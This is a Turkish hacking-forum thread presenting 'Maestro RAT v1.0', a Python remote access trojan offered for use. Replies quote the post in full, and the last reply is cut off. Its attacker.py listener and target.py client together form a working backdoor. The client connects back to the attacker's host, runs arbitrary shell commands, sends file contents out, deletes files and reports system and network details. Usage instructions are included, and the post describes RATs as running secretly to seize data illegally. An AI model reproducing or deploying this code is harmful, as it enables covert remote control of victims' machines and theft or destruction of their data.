Maestro Rat v1.0 Backdoor! & Dosya Görüntüle & Dosya Sil & Ağ Bilgileri ve Daha Fazlası Hedefin Terminalini Ele geçirin.!!

narkotix7

Üye
1 Ara 2023
90
45
Mersin

q39y8g3.png

İyi forumlar Türk Hack Team

Bugün Python ile yazdığım 14 fonksiyonlu backdoor tabanlı uzaktan erişim ( rat ) aracımdan bahsedeceğim.

Rat (Remote Acces Trojan) Nedir ?
Bir cihazda (bilgisayar, telefon, tablet vb.) arka planda, cihaz sahibinin bilgisi dışında -gizlice- çalışan ve cihazın içindeki bilgilerin başka kişilerce 'yasa dışı bir şekilde' ele geçirilmesine veya cihazın yasa dışı işlemlerde kullanılmasına yardım eden trojan'ların genel ismidir.

Backdoor (Arka Kapı) Nedir?

bilgisayar sistemlerinin normal güvenliğini veya şifrelemesini es geçen, genellikle gizli bir yöntemdir. Bu sayede bilgisayar sistemi yetkisiz erişim ve işlemlere açık hale gelir.

TCP (Transmission Control Protocol) Nedir?

Bu metot sayesinde internete bağlanan tüm cihazlar birbirleri ile haberleşebilir. Bir ağa bağlanan bilgisayarlar veri iletmek ve almak için birbirleri arasında TCP/IP protokolü ile haberleşmektedir. Kısacası TCP/IP protokolü, bilgisayarlar arası veri iletişiminin kurallarını koyan bir iletişim protokolleri bütünüdür.


MAESTRO RAT v1.0

attacker.py

Python:
import socket
import argparse
from colorama import Fore, Style

print(Fore.RED + """
    ⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣷⣦⣄    
    ⠀⠀⣀⣤⣶⣶⣦⣄⠀⠈⣿⣿⣿⣿⡆        
    ⠶⣿⣿⣿⣿⣿⣿⣿⣿⣦⣿⣿⣿⣿⣷             
    ⠀⠈⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄                  
    ⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣀⣤⣤⣤⡤          
    ⠀⠀⢀⣠⣤⣼⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣥⣤⣤ created by ramo
    ⠐⠺⠿⢿⣿⣿⣿⣿⣿⡏⢸⡿⠋⠀⣼⠏⣿⣿⣿⣿⡿⠟⠉
    ⠀⠀⠀⠀⠀⠀⠀⠀⠈⠢⣄⣀⡠⠞⠁ """)

print(Fore.RED + """
       MAESTRO RAT v1.0
   
   
                       """)

def print_command_list():
    print(f"{Fore.GREEN}Backdoor Komut Listesi:{Style.RESET_ALL}")
    print(f"1. {Fore.CYAN}exit{Style.RESET_ALL}: Sunucu bağlantısını sonlandırır.")
    print(f"2. {Fore.CYAN}execute{Style.RESET_ALL}: Belirli bir terminal komutunu sunucuda çalıştırır.")
    print(f"3. {Fore.CYAN}cat [dosya_adı]{Style.RESET_ALL}: Belirtilen dosyanın içeriğini sunucudan istemciye gönderir.")
    print(f"4. {Fore.CYAN}rm [dosya_adı]{Style.RESET_ALL} veya {Fore.CYAN}rm -r [dosya_adı]{Style.RESET_ALL}: Belirtilen dosyayı veya dizini siler.")
    print(f"5. {Fore.CYAN}ls{Style.RESET_ALL} veya {Fore.CYAN}dir{Style.RESET_ALL}: Sunucudaki mevcut dizinin içeriğini listeler.")
    print(f"6. {Fore.CYAN}cd [hedef_klasör]{Style.RESET_ALL}: Sunucudaki çalışma dizinini değiştirir.")
    print(f"7. {Fore.CYAN}mkdir [klasör_adı]{Style.RESET_ALL}: Yeni bir klasör oluşturur.")
    print(f"8. {Fore.CYAN}touch [dosya_adı]{Style.RESET_ALL} veya {Fore.CYAN}type nul > [dosya_adı]{Style.RESET_ALL}: Yeni bir dosya oluşturur.")
    print(f"9. {Fore.CYAN}echo [metin] >> [dosya_adı]{Style.RESET_ALL}: Belirtilen dosyanın sonuna metin ekler.")
    print(f"10. {Fore.CYAN}whoami{Style.RESET_ALL}: Sunucuda oturum açmış kullanıcıyı döndürür.")
    print(f"11. {Fore.CYAN}ifconfig{Style.RESET_ALL}: Sunucunun ağ bilgilerini döndürür.")
    print(f"12. {Fore.CYAN}cpu{Style.RESET_ALL}: Sunucunun CPU bilgilerini döndürür.")
    print(f"13. {Fore.CYAN}memory{Style.RESET_ALL}: Sunucunun bellek kullanım bilgilerini döndürür.")
    print(f"14. {Fore.CYAN}osinfo{Style.RESET_ALL}: Sunucunun işletim sistemi bilgilerini döndürür.")

def main():
    parser = argparse.ArgumentParser(description='MAESTRO RAT v1.0 - Arka Kapı')
    parser.add_argument('-lhost', dest='ip', help='Hedef IP adresi', required=True)
    parser.add_argument('-lport', dest='port', help='Hedef port numarası', required=True)
    args = parser.parse_args()

    ip = args.ip
    port = int(args.port)
 
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind((ip, port))
        s.listen(1)
        print(f"{Fore.RED}{ip}:{port} dinleniyor...")

        conn, addr = s.accept()
        print(f"{Fore.GREEN}Bağlantı alındı: {addr}")

    
        print_command_list()

        while True:
            komut = input("Komutu giriniz ('exit' yazarak çıkabilirsiniz): ")
            conn.send(komut.encode())

            if komut == 'exit':
                break

            if komut.strip() == 'execute':
                print("Lütfen 'execute' komutu için bir komut girin:")
                islem = input()
                conn.send(islem.encode())
            else:
                received_data = conn.recv(8192)
                print(received_data.decode(errors='ignore'))

        conn.close()

if __name__ == "__main__":
    main()



target.py
Python:
import socket
import subprocess
import os
import psutil
from psutil._common import bytes2human
import platform
import pyautogui

def get_os_info():
    os_info = """
platform: platform.system(),
version: platform.version()
 
    """
 
    return os_info


def get_cpu_info():
    cpu_info = ""
    for num, percent in enumerate(psutil.cpu_percent(percpu=True)):
        cpu_info += f"CPU{num}: {percent}%\n"
    return cpu_info

def get_memory_info():
    memory_info = ""
    for part in psutil.disk_partitions(all=False):
        if os.name == "nt" and ('cdrom' in part.opts or not part.fstype):
            usage = psutil.disk_usage(part.mountpoint)
            memory_info += f"Device: {part.device}, Total: {bytes2human(usage.total)}, Used: {bytes2human(usage.used)}, Free: {bytes2human(usage.free)}, Use: {usage.percent}%\n"
        elif os.name == "posix" and ('mount' in part.opts or not part.fstype):
            usage = psutil.disk_usage(part.mountpoint)
            memory_info += f"Device: {part.device}, Total: {bytes2human(usage.total)}, Used: {bytes2human(usage.used)}, Free: {bytes2human(usage.free)}, Use: {usage.percent}%\n"
    return memory_info



def get_network_info():
    network_info = ""
    duplex_map = {
        psutil.NIC_DUPLEX_FULL: "full",
        psutil.NIC_DUPLEX_HALF: "half",
        psutil.NIC_DUPLEX_UNKNOWN: "?",
    }
    af_map = {
        socket.AF_INET: 'IPv4',
        socket.AF_INET6: 'IPv6',
    }
 
    interfaces = psutil.net_if_addrs()
 
    for interface, addresses in interfaces.items():
        network_info += f"Ağ Arayüzü: {interface}\n"
        for addr in addresses:
            network_info += f"  Adres Türü: {af_map.get(addr.family, addr.family)}\n"
            network_info += f"  Adres: {addr.address}\n"
            if addr.broadcast:
                network_info += f"    Yayın Adresi: {addr.broadcast}\n"
            if addr.netmask:
                network_info += f"    Ağ Maskesi: {addr.netmask}\n"
 
    return network_info
 

 
def execute_command(command):
    try:
        result = subprocess.run(command, shell=True, capture_output=True, text=True)
        if result.returncode == 0:
            return result.stdout.strip()
        else:
            return f"Error: {result.stderr.strip()}"
    except Exception as e:
        return f"Error: {str(e)}"

def main():
    ip = yourip
    port = yourport

    while True:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((ip, port))
            print("Sunucuya bağlanıldı.")
        
            while True:
                command = s.recv(4096).decode()
            
                if command.strip() == 'exit':
                    break

                elif command.strip() == 'execute':
                    komut = s.recv(4096).decode()
                    output = execute_command(komut)
                    s.send(output.encode())

                elif command.strip().startswith('cat'):
                    dosya_adi = command.split(" ")[1]
                    try:
                        with open(dosya_adi, "r") as dosya:
                            icerik = dosya.read()
                        s.sendall(icerik.encode())
                    except FileNotFoundError:
                        s.send("Dosya bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.strip().startswith('rm') or command.strip().startswith('rm -r'):
                    dosya_adi = command.split(" ")[1]
                    try:
                        os.remove(dosya_adi)
                        s.send(f"{dosya_adi} başarıyla silindi.".encode())
                    except FileNotFoundError:
                        s.send(f"{dosya_adi} bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())
                    
                elif command.strip().startswith('ls') or command.strip().startswith('dir'):
                    dosyalar = os.listdir()
                    if dosyalar:
                        s.send("\n".join(dosyalar).encode())
                    else:
                        s.send("Dizin boş".encode())

                elif command.strip().startswith('cd'):
                    hedefklasor = command.split(" ")[1]
                    try:
                        os.chdir(hedefklasor)
                        s.send(f"Dizin değiştirildi: {os.getcwd()}".encode())
                    except FileNotFoundError:
                        s.send("Hata: Dizin bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.strip().startswith('mkdir'):
                    hedefklasor = command.split(" ")[1]
                    try:
                        os.mkdir(hedefklasor)
                        s.send(f"{hedefklasor} başarıyla oluşturuldu.".encode())
                    except FileExistsError:
                        s.send(f"{hedefklasor} zaten var.".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())
                    
                    
                elif command.strip().startswith("touch") or command.strip().startswith("type nul >"):
                    dosyaisim = command.split(" ")[1]
                    with open(dosyaisim, "w") as dosya:
                        pass
                    
                    
                    s.send("Dosya Oluşturuldu.".encode())
            
                elif command.strip().startswith("echo"):
                    komut_parcalari = command.split(" ")
                    dosya_isim_index = komut_parcalari.index(">>") + 1
                    dosya_isim = komut_parcalari[dosya_isim_index]
                    metin = " ".join(komut_parcalari[1:dosya_isim_index-1])
                    with open(dosya_isim, "a") as dosya:
                        dosya.write(metin)
                        s.send("Metin dosya sonuna eklendi.".encode())

                    
                elif command.strip().startswith("whoami"):
                    cikti = subprocess.run(['whoami'], capture_output=True, text=True)
                    s.send(cikti.stdout.encode())
                
                elif command.strip().startswith("ifconfig"):
                    x = get_network_info()
                    s.send(x.encode())
                
                elif command.strip().startswith("cpu"):
                    x = get_cpu_info()
                    s.send(x.encode())
                
                elif command.strip().startswith("memory"):
                    x = get_memory_info()
                    s.send(x.encode())
                
                elif command.strip() == 'osinfo':
                    os_info = get_os_info()
                    s.send(str(os_info).encode())

                                                    

                else:
                   s.send("Geçersiz komut.".encode())
 
    print("Bağlantı kesildi.")

if __name__ == "__main__":
    main()

Nasıl Kullanılır?
Python:
python3 attacker.py -lhost (ip) -lport (port)

Komutlar


1.exit > Sunucu bağlantısını sonlandırır.

2. execute > Belirli bir terminal komutunu sunucuda çalıştırır.

3.cat [dosya_adı] > Belirtilen dosyanın içeriğini sunucudan istemciye gönderir.

4.rm veya rm -r [dosya_adı] > Belirtilen dosyayı veya dizini siler.

5. ls veya dir Sunucudaki mevcut dizinin içeriğini listeler.

6.cd çalışma dizinini değiştirir.

7.mkdir [klasör_adı] > Yeni bir klasör oluşturur.

8.touch veya type nul > [dosya_adı] > Yeni bir dosya oluşturur.

9.echo [metin] >> [dosya_adı] > Belirtilen dosyanın sonuna metin ekler.

10.whoami > oturum açmış kullanıcıyı döndürür.

11.ifconfig > ağ bilgilerini döndürür.

12.cpu > CPU bilgilerini döndürür.

13.memory > bellek kullanım bilgilerini döndür

14. osinfo > işletim sistemi bilgilerini döndürür.

Araç'tan Görüntüler ;

kigqh6q.jpg

cat & ls & cd

5pukxw4.jpg


Diğer komutlarda sorunsuz çalışmaktadır.

Not : Bu araç 'Linux' işletim sisteminde test edilmiştir.

Githubdan görüntülemek veya indirmek isterseniz ;

Buraya Tıklayabilirsiniz

Okuyan Herkese Teşekkürler.

Sağlıcakla Kalın 👋


pDHFoUY.png

 
Son düzenleme:

ACE Veen

Uzman üye
4 Şub 2023
1,107
560
Belirsiz

q39y8g3.png

İyi forumlar Türk Hack Team

Bugün Python ile yazdığım 14 fonksiyonlu backdoor tabanlı uzaktan erişim ( rat ) aracımdan bahsedeceğim.

Rat (Remote Acces Trojan) Nedir ?
Bir cihazda (bilgisayar, telefon, tablet vb.) arka planda, cihaz sahibinin bilgisi dışında -gizlice- çalışan ve cihazın içindeki bilgilerin başka kişilerce 'yasa dışı bir şekilde' ele geçirilmesine veya cihazın yasa dışı işlemlerde kullanılmasına yardım eden trojan'ların genel ismidir.

Backdoor (Arka Kapı) Nedir?

bilgisayar sistemlerinin normal güvenliğini veya şifrelemesini es geçen, genellikle gizli bir yöntemdir. Bu sayede bilgisayar sistemi yetkisiz erişim ve işlemlere açık hale gelir.

TCP (Transmission Control Protocol) Nedir?

Bu metot sayesinde internete bağlanan tüm cihazlar birbirleri ile haberleşebilir. Bir ağa bağlanan bilgisayarlar veri iletmek ve almak için birbirleri arasında TCP/IP protokolü ile haberleşmektedir. Kısacası TCP/IP protokolü, bilgisayarlar arası veri iletişiminin kurallarını koyan bir iletişim protokolleri bütünüdür.


MAESTRO RAT v1.0

attacker.py

Python:
import socket
import argparse
from colorama import Fore, Style

print(Fore.RED + """
    ⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣷⣦⣄       
    ⠀⠀⣀⣤⣶⣶⣦⣄⠀⠈⣿⣿⣿⣿⡆           
    ⠶⣿⣿⣿⣿⣿⣿⣿⣿⣦⣿⣿⣿⣿⣷                
    ⠀⠈⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄                     
    ⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣀⣤⣤⣤⡤             
    ⠀⠀⢀⣠⣤⣼⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣥⣤⣤ created by ramo
    ⠐⠺⠿⢿⣿⣿⣿⣿⣿⡏⢸⡿⠋⠀⣼⠏⣿⣿⣿⣿⡿⠟⠉
    ⠀⠀⠀⠀⠀⠀⠀⠀⠈⠢⣄⣀⡠⠞⠁ """)

print(Fore.RED + """
       MAESTRO RAT v1.0
      
      
                       """)

def print_command_list():
    print(f"{Fore.GREEN}Backdoor Komut Listesi:{Style.RESET_ALL}")
    print(f"1. {Fore.CYAN}exit{Style.RESET_ALL}: Sunucu bağlantısını sonlandırır.")
    print(f"2. {Fore.CYAN}execute{Style.RESET_ALL}: Belirli bir terminal komutunu sunucuda çalıştırır.")
    print(f"3. {Fore.CYAN}cat [dosya_adı]{Style.RESET_ALL}: Belirtilen dosyanın içeriğini sunucudan istemciye gönderir.")
    print(f"4. {Fore.CYAN}rm [dosya_adı]{Style.RESET_ALL} veya {Fore.CYAN}rm -r [dosya_adı]{Style.RESET_ALL}: Belirtilen dosyayı veya dizini siler.")
    print(f"5. {Fore.CYAN}ls{Style.RESET_ALL} veya {Fore.CYAN}dir{Style.RESET_ALL}: Sunucudaki mevcut dizinin içeriğini listeler.")
    print(f"6. {Fore.CYAN}cd [hedef_klasör]{Style.RESET_ALL}: Sunucudaki çalışma dizinini değiştirir.")
    print(f"7. {Fore.CYAN}mkdir [klasör_adı]{Style.RESET_ALL}: Yeni bir klasör oluşturur.")
    print(f"8. {Fore.CYAN}touch [dosya_adı]{Style.RESET_ALL} veya {Fore.CYAN}type nul > [dosya_adı]{Style.RESET_ALL}: Yeni bir dosya oluşturur.")
    print(f"9. {Fore.CYAN}echo [metin] >> [dosya_adı]{Style.RESET_ALL}: Belirtilen dosyanın sonuna metin ekler.")
    print(f"10. {Fore.CYAN}whoami{Style.RESET_ALL}: Sunucuda oturum açmış kullanıcıyı döndürür.")
    print(f"11. {Fore.CYAN}ifconfig{Style.RESET_ALL}: Sunucunun ağ bilgilerini döndürür.")
    print(f"12. {Fore.CYAN}cpu{Style.RESET_ALL}: Sunucunun CPU bilgilerini döndürür.")
    print(f"13. {Fore.CYAN}memory{Style.RESET_ALL}: Sunucunun bellek kullanım bilgilerini döndürür.")
    print(f"14. {Fore.CYAN}osinfo{Style.RESET_ALL}: Sunucunun işletim sistemi bilgilerini döndürür.")

def main():
    parser = argparse.ArgumentParser(description='MAESTRO RAT v1.0 - Arka Kapı')
    parser.add_argument('-lhost', dest='ip', help='Hedef IP adresi', required=True)
    parser.add_argument('-lport', dest='port', help='Hedef port numarası', required=True)
    args = parser.parse_args()

    ip = args.ip
    port = int(args.port)
   
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind((ip, port)) 
        s.listen(1) 
        print(f"{Fore.RED}{ip}:{port} dinleniyor...")

        conn, addr = s.accept() 
        print(f"{Fore.GREEN}Bağlantı alındı: {addr}")

       
        print_command_list()

        while True:
            komut = input("Komutu giriniz ('exit' yazarak çıkabilirsiniz): ")
            conn.send(komut.encode())

            if komut == 'exit':
                break

            if komut.strip() == 'execute': 
                print("Lütfen 'execute' komutu için bir komut girin:")
                islem = input()
                conn.send(islem.encode())
            else:
                received_data = conn.recv(8192) 
                print(received_data.decode(errors='ignore'))

        conn.close()

if __name__ == "__main__":
    main()



target.py
Python:
import socket
import subprocess
import os
import psutil
from psutil._common import bytes2human
import platform
import pyautogui

def get_os_info():
    os_info = """
platform: platform.system(),
version: platform.version()
   
    """
   
    return os_info


def get_cpu_info():
    cpu_info = ""
    for num, percent in enumerate(psutil.cpu_percent(percpu=True)):
        cpu_info += f"CPU{num}: {percent}%\n"
    return cpu_info

def get_memory_info():
    memory_info = ""
    for part in psutil.disk_partitions(all=False):
        if os.name == "nt" and ('cdrom' in part.opts or not part.fstype):
            usage = psutil.disk_usage(part.mountpoint)
            memory_info += f"Device: {part.device}, Total: {bytes2human(usage.total)}, Used: {bytes2human(usage.used)}, Free: {bytes2human(usage.free)}, Use: {usage.percent}%\n"
        elif os.name == "posix" and ('mount' in part.opts or not part.fstype):
            usage = psutil.disk_usage(part.mountpoint)
            memory_info += f"Device: {part.device}, Total: {bytes2human(usage.total)}, Used: {bytes2human(usage.used)}, Free: {bytes2human(usage.free)}, Use: {usage.percent}%\n"
    return memory_info



def get_network_info():
    network_info = ""
    duplex_map = {
        psutil.NIC_DUPLEX_FULL: "full",
        psutil.NIC_DUPLEX_HALF: "half",
        psutil.NIC_DUPLEX_UNKNOWN: "?",
    }
    af_map = {
        socket.AF_INET: 'IPv4',
        socket.AF_INET6: 'IPv6',
    }
   
    interfaces = psutil.net_if_addrs()
   
    for interface, addresses in interfaces.items():
        network_info += f"Ağ Arayüzü: {interface}\n"
        for addr in addresses:
            network_info += f"  Adres Türü: {af_map.get(addr.family, addr.family)}\n"
            network_info += f"  Adres: {addr.address}\n"
            if addr.broadcast:
                network_info += f"    Yayın Adresi: {addr.broadcast}\n"
            if addr.netmask:
                network_info += f"    Ağ Maskesi: {addr.netmask}\n"
   
    return network_info
   

   
def execute_command(command):
    try:
        result = subprocess.run(command, shell=True, capture_output=True, text=True)
        if result.returncode == 0:
            return result.stdout.strip()
        else:
            return f"Error: {result.stderr.strip()}"
    except Exception as e:
        return f"Error: {str(e)}"

def main():
    ip = input("Sunucunun IP adresini giriniz: ")
    port = int(input("Bağlanmak istediğiniz port numarasını giriniz: "))

    while True:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((ip, port))
            print("Sunucuya bağlanıldı.")
           
            while True:
                command = s.recv(4096).decode()
               
                if command.strip() == 'exit':
                    break

                elif command.strip() == 'execute':
                    komut = s.recv(4096).decode()
                    output = execute_command(komut)
                    s.send(output.encode())

                elif command.strip().startswith('cat'):
                    dosya_adi = command.split(" ")[1]
                    try:
                        with open(dosya_adi, "r") as dosya:
                            icerik = dosya.read()
                        s.sendall(icerik.encode())
                    except FileNotFoundError:
                        s.send("Dosya bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.strip().startswith('rm') or command.strip().startswith('rm -r'):
                    dosya_adi = command.split(" ")[1]
                    try:
                        os.remove(dosya_adi)
                        s.send(f"{dosya_adi} başarıyla silindi.".encode())
                    except FileNotFoundError:
                        s.send(f"{dosya_adi} bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())
                       
                elif command.strip().startswith('ls') or command.strip().startswith('dir'):
                    dosyalar = os.listdir()
                    if dosyalar:
                        s.send("\n".join(dosyalar).encode())
                    else:
                        s.send("Dizin boş".encode())

                elif command.strip().startswith('cd'):
                    hedefklasor = command.split(" ")[1]
                    try:
                        os.chdir(hedefklasor)
                        s.send(f"Dizin değiştirildi: {os.getcwd()}".encode())
                    except FileNotFoundError:
                        s.send("Hata: Dizin bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.strip().startswith('mkdir'):
                    hedefklasor = command.split(" ")[1]
                    try:
                        os.mkdir(hedefklasor)
                        s.send(f"{hedefklasor} başarıyla oluşturuldu.".encode())
                    except FileExistsError:
                        s.send(f"{hedefklasor} zaten var.".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())
                       
                       
                elif command.strip().startswith("touch") or command.strip().startswith("type nul >"):
                    dosyaisim = command.split(" ")[1]
                    with open(dosyaisim, "w") as dosya:
                        pass
                       
                       
                    s.send("Dosya Oluşturuldu.".encode())
               
                elif command.strip().startswith("echo"):
                    komut_parcalari = command.split(" ")
                    dosya_isim_index = komut_parcalari.index(">>") + 1
                    dosya_isim = komut_parcalari[dosya_isim_index]
                    metin = " ".join(komut_parcalari[1:dosya_isim_index-1])
                    with open(dosya_isim, "a") as dosya:
                        dosya.write(metin)
                        s.send("Metin dosya sonuna eklendi.".encode())

                       
                elif command.strip().startswith("whoami"):
                    cikti = subprocess.run(['whoami'], capture_output=True, text=True)
                    s.send(cikti.stdout.encode())
                   
                elif command.strip().startswith("ifconfig"):
                    x = get_network_info()
                    s.send(x.encode())
                   
                elif command.strip().startswith("cpu"):
                    x = get_cpu_info()
                    s.send(x.encode())
                   
                elif command.strip().startswith("memory"):
                    x = get_memory_info()
                    s.send(x.encode())
                   
                elif command.strip() == 'osinfo':
                    os_info = get_os_info()
                    s.send(str(os_info).encode())

                                                       

            else:
[HEADING=1]                s.send("Geçersiz komut.".encode())[/HEADING]
   
    print("Bağlantı kesildi.")

if __name__ == "__main__":
    main()

Nasıl Kullanılır?
Python:
python3 attacker.py -lhost (ip) -lport (port)

Komutlar


1.exit > Sunucu bağlantısını sonlandırır.

2. execute > Belirli bir terminal komutunu sunucuda çalıştırır.

3.cat [dosya_adı] > Belirtilen dosyanın içeriğini sunucudan istemciye gönderir.

4.rm veya rm -r [dosya_adı] > Belirtilen dosyayı veya dizini siler.

5. ls veya dir Sunucudaki mevcut dizinin içeriğini listeler.

6.cd çalışma dizinini değiştirir.

7.mkdir [klasör_adı] > Yeni bir klasör oluşturur.

8.touch veya type nul > [dosya_adı] > Yeni bir dosya oluşturur.

9.echo [metin] >> [dosya_adı] > Belirtilen dosyanın sonuna metin ekler.

10.whoami > oturum açmış kullanıcıyı döndürür.

11.ifconfig > ağ bilgilerini döndürür.

12.cpu > CPU bilgilerini döndürür.

13.memory > bellek kullanım bilgilerini döndür

14. osinfo > işletim sistemi bilgilerini döndürür.

Araç'tan Görüntüler ;

kigqh6q.jpg

cat & ls & cd

5pukxw4.jpg


Diğer komutlarda sorunsuz çalışmaktadır.

Not : Bu araç 'Linux' işletim sisteminde test edilmiştir.

Githubdan görüntülemek veya indirmek isterseniz ;

Buraya Tıklayabilirsiniz

Okuyan Herkese Teşekkürler.

Sağlıcakla Kalın 👋


pDHFoUY.png

eline sağlık
 

Rapx13

Üye
1 Kas 2023
56
6

q39y8g3.png

İyi forumlar Türk Hack Team

Bugün Python ile yazdığım 14 fonksiyonlu backdoor tabanlı uzaktan erişim ( rat ) aracımdan bahsedeceğim.

Rat (Remote Acces Trojan) Nedir ?
Bir cihazda (bilgisayar, telefon, tablet vb.) arka planda, cihaz sahibinin bilgisi dışında -gizlice- çalışan ve cihazın içindeki bilgilerin başka kişilerce 'yasa dışı bir şekilde' ele geçirilmesine veya cihazın yasa dışı işlemlerde kullanılmasına yardım eden trojan'ların genel ismidir.

Backdoor (Arka Kapı) Nedir?

bilgisayar sistemlerinin normal güvenliğini veya şifrelemesini es geçen, genellikle gizli bir yöntemdir. Bu sayede bilgisayar sistemi yetkisiz erişim ve işlemlere açık hale gelir.

TCP (Transmission Control Protocol) Nedir?

Bu metot sayesinde internete bağlanan tüm cihazlar birbirleri ile haberleşebilir. Bir ağa bağlanan bilgisayarlar veri iletmek ve almak için birbirleri arasında TCP/IP protokolü ile haberleşmektedir. Kısacası TCP/IP protokolü, bilgisayarlar arası veri iletişiminin kurallarını koyan bir iletişim protokolleri bütünüdür.


MAESTRO RAT v1.0

attacker.py

Python:
import socket
import argparse
from colorama import Fore, Style

print(Fore.RED + """
    ⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣷⣦⣄      
    ⠀⠀⣀⣤⣶⣶⣦⣄⠀⠈⣿⣿⣿⣿⡆          
    ⠶⣿⣿⣿⣿⣿⣿⣿⣿⣦⣿⣿⣿⣿⣷               
    ⠀⠈⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄                    
    ⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣀⣤⣤⣤⡤            
    ⠀⠀⢀⣠⣤⣼⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣥⣤⣤ created by ramo
    ⠐⠺⠿⢿⣿⣿⣿⣿⣿⡏⢸⡿⠋⠀⣼⠏⣿⣿⣿⣿⡿⠟⠉
    ⠀⠀⠀⠀⠀⠀⠀⠀⠈⠢⣄⣀⡠⠞⠁ """)

print(Fore.RED + """
       MAESTRO RAT v1.0
     
     
                       """)

def print_command_list():
    print(f"{Fore.GREEN}Backdoor Komut Listesi:{Style.RESET_ALL}")
    print(f"1. {Fore.CYAN}exit{Style.RESET_ALL}: Sunucu bağlantısını sonlandırır.")
    print(f"2. {Fore.CYAN}execute{Style.RESET_ALL}: Belirli bir terminal komutunu sunucuda çalıştırır.")
    print(f"3. {Fore.CYAN}cat [dosya_adı]{Style.RESET_ALL}: Belirtilen dosyanın içeriğini sunucudan istemciye gönderir.")
    print(f"4. {Fore.CYAN}rm [dosya_adı]{Style.RESET_ALL} veya {Fore.CYAN}rm -r [dosya_adı]{Style.RESET_ALL}: Belirtilen dosyayı veya dizini siler.")
    print(f"5. {Fore.CYAN}ls{Style.RESET_ALL} veya {Fore.CYAN}dir{Style.RESET_ALL}: Sunucudaki mevcut dizinin içeriğini listeler.")
    print(f"6. {Fore.CYAN}cd [hedef_klasör]{Style.RESET_ALL}: Sunucudaki çalışma dizinini değiştirir.")
    print(f"7. {Fore.CYAN}mkdir [klasör_adı]{Style.RESET_ALL}: Yeni bir klasör oluşturur.")
    print(f"8. {Fore.CYAN}touch [dosya_adı]{Style.RESET_ALL} veya {Fore.CYAN}type nul > [dosya_adı]{Style.RESET_ALL}: Yeni bir dosya oluşturur.")
    print(f"9. {Fore.CYAN}echo [metin] >> [dosya_adı]{Style.RESET_ALL}: Belirtilen dosyanın sonuna metin ekler.")
    print(f"10. {Fore.CYAN}whoami{Style.RESET_ALL}: Sunucuda oturum açmış kullanıcıyı döndürür.")
    print(f"11. {Fore.CYAN}ifconfig{Style.RESET_ALL}: Sunucunun ağ bilgilerini döndürür.")
    print(f"12. {Fore.CYAN}cpu{Style.RESET_ALL}: Sunucunun CPU bilgilerini döndürür.")
    print(f"13. {Fore.CYAN}memory{Style.RESET_ALL}: Sunucunun bellek kullanım bilgilerini döndürür.")
    print(f"14. {Fore.CYAN}osinfo{Style.RESET_ALL}: Sunucunun işletim sistemi bilgilerini döndürür.")

def main():
    parser = argparse.ArgumentParser(description='MAESTRO RAT v1.0 - Arka Kapı')
    parser.add_argument('-lhost', dest='ip', help='Hedef IP adresi', required=True)
    parser.add_argument('-lport', dest='port', help='Hedef port numarası', required=True)
    args = parser.parse_args()

    ip = args.ip
    port = int(args.port)
  
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind((ip, port))
        s.listen(1)
        print(f"{Fore.RED}{ip}:{port} dinleniyor...")

        conn, addr = s.accept()
        print(f"{Fore.GREEN}Bağlantı alındı: {addr}")

      
        print_command_list()

        while True:
            komut = input("Komutu giriniz ('exit' yazarak çıkabilirsiniz): ")
            conn.send(komut.encode())

            if komut == 'exit':
                break

            if komut.strip() == 'execute':
                print("Lütfen 'execute' komutu için bir komut girin:")
                islem = input()
                conn.send(islem.encode())
            else:
                received_data = conn.recv(8192)
                print(received_data.decode(errors='ignore'))

        conn.close()

if __name__ == "__main__":
    main()



target.py
Python:
import socket
import subprocess
import os
import psutil
from psutil._common import bytes2human
import platform
import pyautogui

def get_os_info():
    os_info = """
platform: platform.system(),
version: platform.version()
  
    """
  
    return os_info


def get_cpu_info():
    cpu_info = ""
    for num, percent in enumerate(psutil.cpu_percent(percpu=True)):
        cpu_info += f"CPU{num}: {percent}%\n"
    return cpu_info

def get_memory_info():
    memory_info = ""
    for part in psutil.disk_partitions(all=False):
        if os.name == "nt" and ('cdrom' in part.opts or not part.fstype):
            usage = psutil.disk_usage(part.mountpoint)
            memory_info += f"Device: {part.device}, Total: {bytes2human(usage.total)}, Used: {bytes2human(usage.used)}, Free: {bytes2human(usage.free)}, Use: {usage.percent}%\n"
        elif os.name == "posix" and ('mount' in part.opts or not part.fstype):
            usage = psutil.disk_usage(part.mountpoint)
            memory_info += f"Device: {part.device}, Total: {bytes2human(usage.total)}, Used: {bytes2human(usage.used)}, Free: {bytes2human(usage.free)}, Use: {usage.percent}%\n"
    return memory_info



def get_network_info():
